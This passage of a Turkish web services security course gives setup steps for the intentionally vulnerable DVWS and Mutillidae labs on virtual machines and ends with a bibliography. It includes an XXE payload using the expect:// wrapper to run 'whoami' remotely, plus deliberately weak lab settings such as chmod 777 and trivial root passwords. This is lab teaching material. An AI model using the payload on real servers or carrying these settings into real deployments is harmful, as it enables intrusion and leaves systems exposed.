[Service] Type=simple PIDFile=/opt/php-5.5.38/var/run/php-fpm.pid ExecStart=/opt/php-5.5.38/sbin/php-fpm --nodaemonize --fpm-config /opt/php-5.5.38/etc/php-fpm.conf ExecReload=/bin/kill -USR2 \$MAINPID

[Install] WantedBy=multi-user.target EOF # Komut Sonu

> echo 'zend_extension=opcache.so' >> /opt/php-5.5.38/lib/php.ini

(for ile beraber devam eden satırlar komple kopyalanır ve terminale olduğu gibi yapıştırılıp ENTER'lanır)

Komut Başlangıcı > for i in /opt/php-5.5.38/lib/php.ini;do sed -i 's|max_execution_time = 30|max_execution_time = 120|' \$i sed -i 's upload max filesize = 2M upload max filesize = 32M |' \$i sed -i 's|post_max_size = 8M|post_max_size = 32M|' \$i sed -i 's|error_reporting = E_ALL & ~E_DEPRECATED|error_reporting = E_ERROR|' \$i sed -i 's|short_open_tag = Off|short_open_tag = On|' \$i sed -i "s|;date.timezone = |date.timezone = 'America\/Sao Paulo'|" \$i done # Komut Sonu > sed -i "s|;pid = run/php-fpm.pid|pid = run/php-fpm.pid|" /opt/php-5.5.38/etc/phpfpm.conf > sed -i "s|;include=etc/fpm.d/*.conf|include=/opt/php-5.5.38/etc/php-

```
fpm.d/\*.conf|" /opt/php-5.5.38/etc/php-fpm.conf
```

> systemctl daemon-reload

> systemctl enable php-5.5.38-fpm.service

> systemctl start php-5.5.38-fpm.service

iii) Apache Web Sunucu Yazılımı Kurulur.

> apt-get install apache2 libapache2-mod-fastcgi

- > a2enmod actions alias
- > a2enmod proxy_fcgi
- > systemctl restart apache2.service

(cat ile beraber devam eden satırlar komple kopyalanır ve terminale olduğu gibi yapıştırılıp ENTER'lanır)

Komut Başlangıcı

> cat <<EOF > /etc/apache2/php5.5.conf <FilesMatch "\.php\$">

```
SetHandler "proxy:fcgi://127.0.0.1:9000/"
</FilesMatch>
EOF
# Komut Sonu
```

// Apache Konfigurasyon Dosyasında <VirtualHost> </VirtualHost>
// Bölümü İçerisine PHP'yi Gösteren Konfigurasyon Satırı Eklenir.
> nano /etc/apache2/sites-available/000-default.conf

<VirtualHost *:80>

... # Eklenecek Satır Include /etc/apache2/php5.5.conf </VirtualHost>

iv) MySQL Kurulur. Not: MySQL kurulumu parola aşamasında parola olarak bir şey girilmez ve ENTER deyip geçilir.

> sudo apt-get install mysql

v) Apache Servisi Yeniden Başlatılır

> service apache2 restart

d) Ubuntu 16.04 LTS VM'e DVWS Web API İndirilir

Ubuntu 16.04 LTS Terminal:

> sudo su

- > cd /var/www/html
- > wget https://www.includekarabuk.com/kitaplik/indirmeDeposu/dvws.zip
- > unzip dvws.zip
- > chmod -R 777 dvws/

e) Ubuntu 16.04 LTS VM'de DVWS Web API Kurulumu Yapılır

Web Tarayıcı:

http://localhost/dvws/about/instructions.php

Tıklanacak Buton: [Reset Database]

f) Tüm bu aşamaların ardından kurulumlar tamamlanacaktır ve dvws web api'ye erişim sağlanabilecektir.

http://localhost/dvws/index.php

Not:

DVWS Web API arayüzünde Command Injection sayfasında dvws sadece linux'da ise çalışabilen radio button'ların çalışır olduğu bu kurulumda gözlemlenebilecektir. Aynı ders sayfasında windows radio button'un çalışması için dvws'nin windows işletim sisteminde kurulmuş olması gerekmektedir.

7.6 DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma

Bu başlık altında bir windows sisteme kasıtlı açıklıklara sahip DVWS web api kurulum adımları gösterilecektir.

Kullanılan Materyaller

| - | Oracle VirtualBox | // Sanallaştırma Yazılımı |
|---|-------------------------|----------------------------|
| - | Windows 10 Home Premium | // Windows İşletim Sistemi |
| - | Xampp 5.5.38 | // Web Sunucu Yazılımları |
| - | DVWS | // Zafiyetli Web API |
| | | |

a) Oracle VirtualBox Kurma

- Bilgisayarınızda yüklü ve kullanmakta olduğunuz linux veya windows işletim sistemine "Oracle VirtualBox" yazılımı kurulur.

https://www.virtualbox.org/wiki/Downloads

b) Oracle VirtualBox'da VM Oluşturma

- Oracle VirtualBox'da bir sanal makine oluşturulur.
- "Windows 10 Home Premium" imajı cd olarak sanal makineye takılarak kurulur.

https://www.microsoft.com/tr-tr/software-download/windows10

c) Windows 10 VM'e PHP + Apache + MySQL Kurulumu

- Xampp 5.5.38 sürümü kurulur.

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/5.5.38/xamp p-win32-5.5.38-3-VC11-installer.exe/download

d) Windows 10 VM'e DVWS Web API İndirilir

- DVWS indirilir.

https://www.includekarabuk.com/kitaplik/indirmeDeposu/dvws.zip

- DVWS web sunucu kök dizinine yerleştirilir.

C:\xampp\htdocs\dvws\

e) Windows 10 VM'de DVWS Web API Kurulumu Yapılır

Web Tarayıcı:

http://localhost/dvws/about/instructions.php

Tıklanacak Buton: [Reset Database]

f) Tüm bu aşamaların ardından kurulumlar tamamlanacaktır ve dvws web api'ye erişim sağlanabilecektir.

http://localhost/dvws/index.php

Not:

DVWS Web API arayüzünde Command Injection sayfasında dvws kurulumu sadece windows'da ise çalışabilen radio button'un çalışır olduğu gözlemlenebilecektir. Aynı ders sayfasında linux radio button'ların çalışması için dvws'nin linux işletim sisteminde kurulmuş olması gerekmektedir.

7.7 Mutillidae Web API'yi Linux'a (Ubuntu 18.04 LTS Dağıtımına) Kurma

Bu başlık altında bir linux sisteme kasıtlı açıklıklara sahip Mutillidae web api kurulum adımları gösterilecektir.

Kullanılan Materyaller

| - | Oracle VirtualBox | // Sanallaştırma Yazılımı |
|---|------------------------------------|---------------------------|
| - | Ubuntu 18.04 LTS Desktop Linux ISO | // Linux İşletim Sistemi |
| - | Apache, MySQL, PHP | // Web Sunucu Yazılımları |
| - | Mutillidae v2.10.8 | // Zafiyetli Web API |

a) Oracle VirtualBox Kurma

- Bilgisayarınızda yüklü ve kullanmakta olduğunuz linux veya windows işletim sistemine "Oracle VirtualBox" yazılımı kurulur.

https://www.virtualbox.org/wiki/Downloads

- b) Oracle VirtualBox'da VM Oluşturma
 - Oracle VirtualBox'da bir sanal makine oluşturulur.
 - "Ubuntu 18.04 LTS desktop iso" imajı cd olarak sanal makineye takılarak kurulur.

https://releases.ubuntu.com/16.04/

- c) Ubuntu 18.04 LTS VM'e Apache Kurulumu
 - > sudo su
 - > apt-get update
 - > apt-get install apache2
 - > a2enmod rewrite
 - > service apache2 restart
 - > nano /etc/apache2/apache2.conf

Açılan dosyada

<Directory /var/www>

•••

</Directory>

bloğundaki AllowOverride None direktifi AllowOverride All yapılır.

> service apache2 restart

d) Ubuntu 18.04 LTS VM'e PHP Kurulum

> sudo su> apt-get update> apt-get install php libapache2-mod-php

e) Ubuntu 18.04 LTS VM'e MySQL Kurulumu

> sudo su
> apt-get update

> apt-get install mysql-server php-mysql

> service apache2 restart

> mysql -u root

mysql> use mysql; mysql> UPDATE user SET authentication_string=PASSWORD('mutillidae') WHERE user='root'; mysql> UPDATE user SET plugin='mysql_native_password' WHERE user='root'; mysql> flush privileges; mysql> exit;

f) Ubuntu 18.04 LTS VM'de Mutillidae Web API'nin Bazı Fonksiyonlarının Çalışması İçin Gerekli Kütüphaneleri Yükleme

version

// PHP Curl Kütüphanesini Yükleme

> sudo su

> apt-get update

> apt-get install php7.2-curl

version

- // PHP Mbstring Kütüphanesini Yükleme
 > sudo su
- > apt-get update > apt-get install php7.2-mbstring

g) Ubuntu 18.04 LTS VM'de mutillidae web api'yi indirmek için git kurulur.

> sudo su
> apt-get install git

h) Ubuntu 18.04 LTS VM'de mutillidae web api indirilir.

> sudo su
> cd /var/www/html
> git clone https://github.com/webpwnized/mutillidae.git mutillidae

http://localhost/mutilliade/

1) Ubuntu 18.04 LTS VM'de Web Tarayıcı Ekranına Yansıyan Apache & PHP Hatalarını Kapama Ayarı

> sudo su
> gedit /etc/php/7.2/apache2/php.ini &

dosyasında error_reporting

error_reporting = E_ALL

satırı

```
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
```

şeklinde ayarlanır. display_errors

display_errors = On

satırı

display_errors = Off

// 7.2. xml yüklüyoruz, çünkü yüklenen
// php 7.2 sürümünde. bkz. php -

şeklinde ayarlanır.

> service apache2 restart

i) Ubuntu 18.04 LTS VM'de Apache Sunucuyu HTTPS Yapma

> sudo su

> openssl req -x509 -nodes -days 365 -newkey rsa:4096 -keyout /etc/ssl/private/mutillidae.key -out /etc/ssl/certs/mutillidae.crt

> gedit /etc/apache2/sites-available/default-ssl.conf &

Açılan dosyada

<VirtualHost _default_:443>

</VirtualHost>

...

bloğundaki SSLCertificateFile ve SSLCertificateKeyFile satırları aşağıdaki gibi yapılır.

SSLEngine On SSLCertificateFile /etc/ssl/certs/mutillidae.crt SSLCertificateKeyFile /etc/ssl/private/mutillidae.key

> chown www-data:www-data /etc/ssl/certs/mutillidae.crt

- > chown www-data:www-data /etc/ssl/private/mutillidae.key
- > a2enmod ssl
- > a2enmod headers
- > a2ensite default-ssl
- > service apache2 restart

(Bu Ayar İsteğe Bağlıdır)

// VirtualHost Ayarlama

> sudo su

> cd /etc/apache2/

> gedit sites-available/000-default.conf &

Açılan dosyada dosya içeriği tamamen silinir ve şöyle yapılır:

<VirtualHost 127.0.0.1:80>

ServerName mutillidae.local

ServerAlias mutillidae DocumentRoot /var/www/html/mutillidae

ErrorLog \${APACHE_LOG_DIR}/mutillidae-error.log CustomLog \${APACHE_LOG_DIR}mutillidae-access.log combined

</VirtualHost>

<VirtualHost 127.0.0.1:443>

DocumentRoot /var/www/html/mutillidae ServerAlias mutillidae ServerName mutillidae.local

ErrorLog \${APACHE_LOG_DIR}/mutillidae-error.log CustomLog \${APACHE_LOG_DIR}mutillidae-access.log combined SSLEngine On SSLOptions +StrictRequire SSLCertificateFile /etc/ssl/certs/mutillidae.crt SSLCertificateKeyFile /etc/ssl/private/mutillidae.key SSLProtocol TLSv1

</VirtualHost>

> service apache2 restart
> gedit /etc/hosts

Açılan dosyada şu satırlar en başa eklenir:

127.0.0.1 mutillidae 127.0.0.1 mutillidae.local

Böylece;

http://localhost/mutillidae/

adresi yerine

http://localhost ile, http://mutillidae ile veya http://mutillidae.local ile doğrudan siteye erişim sağlanabilecektir.

j) Ubuntu 18.04 LTS VM'de Mutillidae Web API Konfigurasyonu

Ubuntu 18.04 LTS VM'de http://localhost'a gidilir ve database-offline.php şeklinde gelen sayfada

setup / reset the DB

linkine tıklanır.

k) Sonuç

Böylece konfigurasyon ve kurulum tamamlanır.

http://localhost

7.8 Mutillidae Web API'yi Linux'a (Ubuntu 14.04 LTS Dağıtımına) Kurma

Bu başlık altında eski bir linux sisteme kasıtlı açıklıklara sahip DVWS web api kurulum adımları gösterilecektir.

[!] Uyarı:

Mutilillidae'nin esas linux kurulumu Ubuntu 18.04 LTS linux sisteme olan kurulumdur. Dersler o kurulumla gelen mutillidae üzerinden takip edilmelidir. Ubuntu 14.04 LTS eski linux sistem kurulumunun ayrıyeten oluşturulmasının nedeni zafiyetli Muttillidae web api'sinde XXE ataklarında uygulanabilen RCE'yi (Remote Code Execution'ı) gözlemleyebilmek içindir. XXE ataklarında RCE yapabilmek PHP'nin expect modülünü gerektirmekte. PHP Expect modülü ise bu eski sürüm linux işletim sisteminde kurulup aktif hale getirilebilmekte. Bu nedenle sırf XXE atağında RCE sonucunu deneyimlemek için mutillidae Ubuntu 14.04 LTS işletim sistemi üzerine de ilaveten kurulmuştur. Bu kurulumda mutillidae XXE sayfasında RCE denendiğinde başarılı olunduğu ve uzak sistemde komut çalıştırılabildiği gözlemlenecektir. Mutillidae dersleri esas kurulum olan son sürüm mutillidae'nin yüklü olduğu Ubuntu 18.04 LTS linux işletim sisteminden takip edilmelidir.

Kullanılan Materyaller

| - | Oracle VirtualBox | // Sanallaştırma Yazılımı |
|---|------------------------------------|---------------------------|
| - | Ubuntu 14.04 LTS Desktop Linux ISO | // Linux İşletim Sistemi |
| - | Apache, MySQL, PHP | // Web Sunucu Yazılımları |
| - | Mutillidae v2.7.10 | // Zafiyetli Web API |
| - | libexpect-php5 Deb Paketi | // PHP Expect Modülü |

- a) Oracle VirtualBox Kurma
 - Bilgisayarınızda yüklü ve kullanmakta olduğunuz linux veya windows işletim sistemine "Oracle VirtualBox" yazılımı kurulur.

https://www.virtualbox.org/wiki/Downloads

b) Oracle VirtualBox'da VM Oluşturma

- Oracle VirtualBox'da bir sanal makine oluşturulur.
- "Ubuntu 14.04 LTS Desktop Linux ISO" imajı cd olarak sanal makineye takılarak kurulur.

https://releases.ubuntu.com/14.04/

c) Ubuntu 14.04 LTS VM'de Apache + PHP + Mysql Kurulumu

> sudo apt-get update

// MYSQL parola mutillidae yapılmalıdır.

> sudo apt-get -y install apache2 mysql-server php5-mysql php5 libapache2-mod-php5 php5-mcrypt

> a2enmod rewrite > service apache2 restart > nano /etc/apache2/apache2.conf

<Directory /var/www>

</Directory>

bloğundaki AllowOverride None direktifi AllowOverride All yapılır.

> service apache2 restart

c) Ubuntu 14.04 LTS VM'de PHP Expect Modülü Yüklenir ve Enable Edilir

- Php expect modülü deb paketi indirilir.

https://www.ubuntuupdates.org/package/core/trusty/universe/base/libexpect-

php5

> cd Downloads/

- Php expect modülü deb paketi yüklenir.
 - > sudo su
 - > apt-get install php-pear
 - > pear install PEAR
 - > sudo apt-get install -y php5-dev
 - > mkdir /etc/php5/conf.d/
 - > dpkg -i libexpect-php5_0.3.1-1build3_amd64.deb
 - > cp /etc/php5/conf.d/expect.ini ../apache2/conf.d/
 - > service apache2 restart

d) Ubuntu 14.04 LTS VM'de mutillidae web api indirilir.

https://github.com/webpwnized/mutillidae/archive/refs/tags/v2.7.10.zip

e) Ubuntu 14.04 LTS VM'de mutillidae web api web sunucu kök dizinine yerleştirilir.

- Mutillidae v2.7.10.zip'i zipten çıkar.
- /var/www/html dizinine koy.

f) Ubuntu 14.04 LTS VM'de Mutillidae Web API Konfigurasyonu

Ubuntu 14.04 LTS VM'de http://localhost'a gidilir ve database-offline.php şeklinde gelen sayfada

setup / reset the DB

linkine tıklanır.

g) Sonuç

Böylece konfigurasyon ve kurulum tamamlanır.

http://localhost

Not:

XXE saldırılarında RCE yalnızca web sunucudaki php'de expect wrapper'ı enable iken yapılabiliyor. Bu nedenle expect modülü aktif edilmiş mutillidae bu web sunucuda test amaçlı mutillidae'nin XXE zafiyetli sayfasına gidilip RCE denendiğinde

OWASP 2017 -> A1 Injection (Other) -> Xml External Entity Injection -> XML Validator

Payload:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "expect://whoami" >]> <creds> <user>&xxe;</user> </creds>

Çıktı:

www-data

başarılı olunduğu görülecektir. Expect wrapper 'ı olmayan php web sunucularda bu saldırı başarısız olacaktır.

7.9 Mutillidae Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma

Bu başlık altında bir windows sisteme kasıtlı açıklıklara sahip DVWS web api kurulum adımları gösterilecektir.

[!] Uyarı:

Mutililidae'nin esas kurulumu Mutillidae - Ubuntu 18.04 LTS VM'dedir. Bu Mutillidae - Windows 10 VM'in ayrıyetten oluşturulmasının nedeni mutillidae'nin bazı saldırı sayfalarında windows taraflı payload'ların sonuçlarını gözlemleyebilmek adınadır. Bu VM sırf bu tip durumlarda kullanılmaktadır. Mutillidae dersleri için esas olan Mutillidae - Ubuntu 18.04 LTS kurulumu kullanılmalıdır.

Kullanılan Materyaller

- Oracle VirtualBox

// Sanallaştırma Yazılımı

- Windows 10 Home Premium
- xampp v7.2.34-2
- Mutillidae v2.10.8

a) Windows VM'e XAMPP kurulur.

Apache, Mysql, PHP, PhpMyAdmin kurulur.

https://www.apachefriends.org/tr/download.html

b) XAMPP dashboard'dan

MySQL -> Config -> my.ini

dosyasına gidilir ve

password = your_password

satırı önündeki diyez kaldırılarak

password = mutillidae

yapılır.

c) XAMPP dashboard'dan

Apache -> Config -> php.ini

dosyasına gidilir ve

display_errors=On

satırı

```
display_errors=Off
```

yapılır.

d) Mutillidae klasörü c:\xampp\htdocs\ dizinine mutillidae klasör ismiyle yerleştirilir.

e) XAMPP dashboard'dan apache ve mysql servisleri START yapılır.

- // Windows İşletim Sistemi
- // Web Sunucu Yazılımları
- // Zafiyetli Web API

Güvenlik duvarı izinleri için "Erişimlere İzin Ver" denir.

f) Mutillidae web uygulamasına web tarayıcıdan erişilir:

http://127.0.0.1/mutillidae/

g) Gelen database-offline.php şeklindeki sayfaya

setup / reset the DB.

denilir.

h) Böylece mutillidae erişimi açılır ve kullanılabilir.

http://127.0.0.1/mutillidae/

Not:

Mutillidae'ye erişim localhost yerine 127.0.0.1 şeklinde gerçekleşmekte.

7.10 DVWS SQLi Açıklıklı Rest API Uç Noktasındaki Hatanın (Bug'ın) Giderilmesi

Bu başlık DVWS web servisini belirttiğim custom linkten indirmeyip resmi github hesabından indirenler içindir. Eğer DVWS'yi resmi github sayfasından indirdiyseniz son sürümünü indirmişsiniz demektir. Bu sürümde DVWS web servisinin sql enjeksiyonu açıklığı var olan rest api endpoint'inde (uç noktasında) "No database selected" uyarısı alınmaktadır. Bunun nedeni kaynak kodda kullanılan sql fonksiyonunun uyumsuzluğundandır.



Bu hatayı (bug'ı) düzeltmek için C:\xampp\htdocs\dvws-master\vulnerabilities\sqli\api.php dosyasına gidilmelidir ve dosyada şu iki adım uygulanmalıdır:

- 13ncü satırdaki mysqli_connect(....)'deki i harfi kaldırılmalıdır ve mysql_connect(...) şeklinde bırakılmalıdır.
- 14ncü satırdaki mysql_query(...) çift slash (//) ile yorum yapılmalıdır ve 15nci satır baştaki çift slash (//) kaldırılarak yorum olmaktan çıkarılmalıdır.



(Nihai Hal Böyle Olmalıdır)

Bu adımlar neticesinde dosya kaydedildiğinde sql sorgular düzgün şekilde çalışacaktır ve yanıt hatasız alınabilecektir.



8 KAYNAKÇA

• https://codebeautify.org/xmltojson

- https://www.m5bilisim.com/webokulu/etiketler/ozellik-form-enctype.php
- https://yazilimcorbasi.blogspot.com/2015/11/http-post-ve-multipartform-data.html
- https://stackoverflow.com/questions/38017123/is-form-enctype-application-json-available
- https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#attr-enctype
- https://github.com/sqlmapproject/sqlmap/issues/4069
- https://www.liquidmatrix.org/blog/sql-injection-using-sqlmap-multipartform-dataencoding/
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
- https://portswigger.net/support/using-burp-to-test-a-rest-api
- https://onlineasciitools.com/convert-ascii-to-decimal
- https://www.w3schools.in/restful-web-services/types-of-web-services/
- https://www.guru99.com/wsdl-web-services-description-language.html
- https://nileshsapariya.blogspot.com/2017/05/auditing-soap-web-services-with.html
- https://www.netspi.com/blog/technical/web-application-penetration-testing/hacking-web-services-with-burp/
- https://www.smeegesec.com/2013/04/wsdl-wizard-burp-suite-plugin-for.html
- https://www.smeegesec.com/2012/10/automating-web-servicescommunication.html
- http://www.learnwebservices.com/
- https://www.netsparker.com/support/scanning-restful-api-web-service/
- http://rest.testsparker.com/docs/#api-GettingStarted-1
- https://en.wikipedia.org/wiki/Web_Services_Description_Language
- https://www.w3schools.com/xml/xml_wsdl.asp
- Attacking Damn Vulnerable Web Services.pdf
- https://www.youtube.com/watch?v=txGa3kGWI00&ab_channel=JosephMcCray
- https://stackoverflow.com/questions/6830581/rest-web-service-wsdl
- https://www.soapui.org/docs/soap-and-wsdl/working-with-wsdls/
- https://www.soapui.org/learn/api/soap-vs-rest-api/
- https://www.soapui.org/resources/infographic/api-testing/soap-vs-rest-infographic/
- https://www.soapui.org/resources/tutorials/soap-sample-project/

- https://www.soapui.org/resources/tutorials/rest-sample-project/
- https://static1.smartbear.co/smartbear/media/ebooks/rest-101.pdf?_ga=2.53437674.312001454.1627211528-143179448.1627211528
- https://www.tutorialspoint.com/webservices/what_are_web_services.htm
- https://www.tutorialspoint.com/webservices/web_services_architecture.htm
- https://www.tutorialspoint.com/webservices/web_services_examples.htm
- https://glenmazza.net/blog/entry/soap-calls-over-wireshark
- https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
- https://www.javatpoint.com/web-services-tutorial
- https://www.javatpoint.com/soap-web-services
- https://www.javatpoint.com/restful-web-services-swagger-documentation
- https://www.javatpoint.com/restful-web-services-what-is-web-services
- https://en.wikipedia.org/wiki/Web_service
- https://www.easytechjunkie.com/what-is-web-syndication.htm
- https://en.wikipedia.org/wiki/Web_syndication
- https://www.yld.io/blog/alternatives-to-http/
- https://www.halvorsen.blog/documents/programming/csharp/resources/Database% 20Communication%20using%20Web%20Services.pdf
- https://www.dummies.com/programming/web-services/how-to-return-web-service-data-from-a-database/
- https://portswigger.net/support/using-burp-to-test-a-rest-api
- https://www.netsparker.com/support/url-rewrite-rules-netsparker/
- https://www.netsparker.com/whitepaper-automating-configuration-url-rewriterules-netsparker-web-application-security-scanners/
- https://www.javatpoint.com/soapui-security-test
- https://www.javatpoint.com/soapui-web-services-vs-web-api
- https://blog.hubspot.com/website/web-services-vs-api
- http://www.differencebetween.net/technology/internet/difference-between-api-andweb-service/
- https://www.redhat.com/en/topics/api/what-is-a-rest-api
- https://rapidapi.com/blog/api-vs-web-service/
- https://rapidapi.com/blog/types-of-apis/

- https://gist.github.com/elico/2c61167f56213476dcb538398019c387
- https://www.youtube.com/playlist?list=PLZOToVAK85MqxEyrjINe-LwDMhxJJKzmm
- https://github.com/webpwnized/mutillidae/releases/tag/v2.7.10
- https://www.digitalocean.com/community/tutorials/how-to-install-lamp-on-ubuntu-14-04-quickstart
- https://serverfault.com/questions/455388/how-to-install-php-xml-and-phpmbstring-on-php-5-4-9-4
- https://stackoverflow.com/questions/40415325/install-php5-dev-ubuntu-16-04
- https://www.ubuntuupdates.org/package/core/trusty/universe/base/libexpect-php5
- https://learning.postman.com/docs/getting-started/installation-andupdates/#installing-postman-on-linux
- https://crashtest-security.com/enumeration-cyber-security/
- https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/enumerationethical-hacking/
- https://www.youtube.com/watch?v=DFj3MBlU_f0
- https://www.exploit-db.com/ghdb/395
- https://en.wikipedia.org/wiki/Billion_laughs_attack
- https://cwe.mitre.org/data/definitions/651.html
- https://capec.mitre.org/data/definitions/95.html
- https://github.com/snoopysecurity/dvws/blob/master/vulnerabilities/hiddendir/secre tsolutions.txt
- https://www.binarytides.com/burp-suite-tip-repeat-request-loop/
- https://www.linkedin.com/pulse/xml-bombs-billion-laughs-attack-vinay-singh
- https://en.wikipedia.org/wiki/Billion_laughs_attack
- https://www.youtube.com/watch?v=31GYk2lc3BM
- https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses
- https://www.youtube.com/watch?v=WQUiub2hc0c
- https://portswigger.net/kb/issues/00400700_xml-entity-expansion
- http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion
- https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/xml-externalentity-injection/
- https://vk9-sec.com/xml-external-entity-xxe-injection/
- https://www.invicti.com/learn/xml-external-entity-xxe/

- https://portswigger.net/kb/issues/00100400_xml-external-entity-injection
- https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_ Cheat_Sheet.html
- http://www.includekarabuk.com/kitaplik/indirmeDeposu/dersNotlari/4.Sinif/Web_ Servisleri_XML_Cikardigim_Ders_Notlarim.pdf
- https://www.w3schools.com/xml/xml_dtd_entities.asp